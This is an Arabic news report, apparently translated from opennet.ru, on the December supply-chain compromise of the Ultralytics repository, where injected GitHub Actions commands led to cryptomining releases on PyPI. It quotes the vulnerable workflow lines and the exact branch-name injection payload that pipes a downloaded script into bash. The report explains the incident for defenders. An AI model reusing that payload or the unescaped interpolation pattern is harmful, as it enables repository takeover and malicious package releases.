تمكن المهاجمون من تنفيذ تعليمات برمجية باستخدام حقوق معالج GitHub Actions في مستودع مكتبة Ultralytics Python، والذي يُستخدم لحل مشكلات رؤية الكمبيوتر مثل اكتشاف الكائنات في الصور وتقسيم الصور. بعد الوصول إلى المستودع، نشر المهاجمون العديد من إصدارات Ultralytics الجديدة في دليل PyPI، والتي تضمنت تغييرات ضارة لتعدين العملات المشفرة. خلال الشهر الماضي، تم تنزيل مكتبة Ultralytics من كتالوج PyPI أكثر من 6.4 مليون مرة.
لاختراق المستودع، تم استخدام ثغرة أمنية في حزمة إجراءات Ultralytics، والتي تُستخدم لتشغيل المعالجات تلقائيًا عند تنفيذ إجراءات معينة على مستودع على GitHub باستخدام آلية GitHub Actions. في مشروع Ultralytics، تم ربط المعالج الضعيف بحدث pull_request_target وتم استدعاؤه عند وصول طلبات سحب جديدة. على وجه الخصوص، لتنسيق التعليمات البرمجية في طلبات السحب المرسلة، تم استدعاء معالج format.yml وتم تنفيذ التعليمات البرمجية المحددة في قسم "التشغيل" من ملف action.yml، والذي يحتوي على أوامر Shell مع أنماط الاستبدال: git pull Origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
وبالتالي، تم استبدال اسم فرع Git المذكور في طلب السحب في أوامر shell دون الهروب بشكل صحيح. من الجدير بالذكر أنه في أغسطس، قامت حزمة إجراءات Ultralytics بالفعل بإصلاح ثغرة أمنية مماثلة مرتبطة باستخدام قيمة خارجية في وظيفة الصدى: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
لتنظيم تنفيذ التعليمات البرمجية الخاصة بهم في سياق معالج GitHub Actions، أرسل المهاجمون طلب سحب إلى مستودع Ultralytics، مع تحديد ما يلي كاسم الفرع: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
وبناء على ذلك، عند تلقي طلب سحب، تم إدراج السلسلة المحددة من قبل المهاجم "$(...)" في التعليمات البرمجية، والتي، عند إطلاق المعالج لاحقًا، أدت إلى تنفيذ التعليمات البرمجية "curl -sSfL Raw.githubusercontent. كوم/…/file.sh | سحق".

يمكن استخدام التعليمات البرمجية قيد التشغيل في سياق إجراءات GitHub لالتقاط رمز الوصول إلى المستودع والبيانات الحساسة الأخرى. لم يتضح بعد كيف تمكن المهاجمون من إنشاء إصدار، مع القدرة على تنفيذ التعليمات البرمجية الخاصة بهم في إجراءات GitHub، ومن المفترض أن هذا أصبح ممكنًا بسبب تغيير في معالج Publish.yml (أزال المهاجمون التحقق من ملف .yml). الحساب المسموح له بنشر الإصدارات في PyPI) واستخدام التكنولوجيا التي تسمم ذاكرة التخزين المؤقت لإنشاء GitHub Actions لإدراج بياناتك في الإصدار.
نشر المهاجمون أول إصدار خبيث من برنامج Ultralytics 8.3.41 على موقع PyPI في 4 ديسمبر/كانون الأول الساعة 23:51 مساءً (بتوقيت موسكو)، وتم حذفه الساعة 12:15 ظهرًا من اليوم التالي. وفي الساعة 15:47 مساءً، نُشر إصدار آخر، 8.3.42، وتم حذفه الساعة 16:47 مساءً. وبذلك، ظلت الإصدارات الخبيثة متاحة للتنزيل لمدة 13 ساعة تقريبًا (يسجل موقع PyPI حوالي 250 عملية تنزيل لمكتبة Ultralytics يوميًا). احتوى الإصداران 8.3.41 و8.3.42 على شفرة برمجية يتم تنزيلها من مصدر خارجي. الخادم مكون XMRig لتعدين العملات المشفرة.
قام مطورو المشروع بإصلاح المشكلة وإنشاء الإصدارات التصحيحية 8.3.43 و8.3.44، ولكن بعد يومين تم تنفيذ هجوم آخر، نشر خلاله المهاجمون إصدارين ضارين إضافيين اليوم في الساعة 04:41 و05:27 (بتوقيت جرينتش) - 8.3.45 و8.3.46، والتي تتضمن رموز التعدين الأخرى. حتى نهاية التحقيق، يُنصح المستخدمون بتأجيل تثبيت الإصدارات الجديدة وإصلاح الإصدار 8.3.44 باعتباره تبعيات.
المصدر: opennet.ru
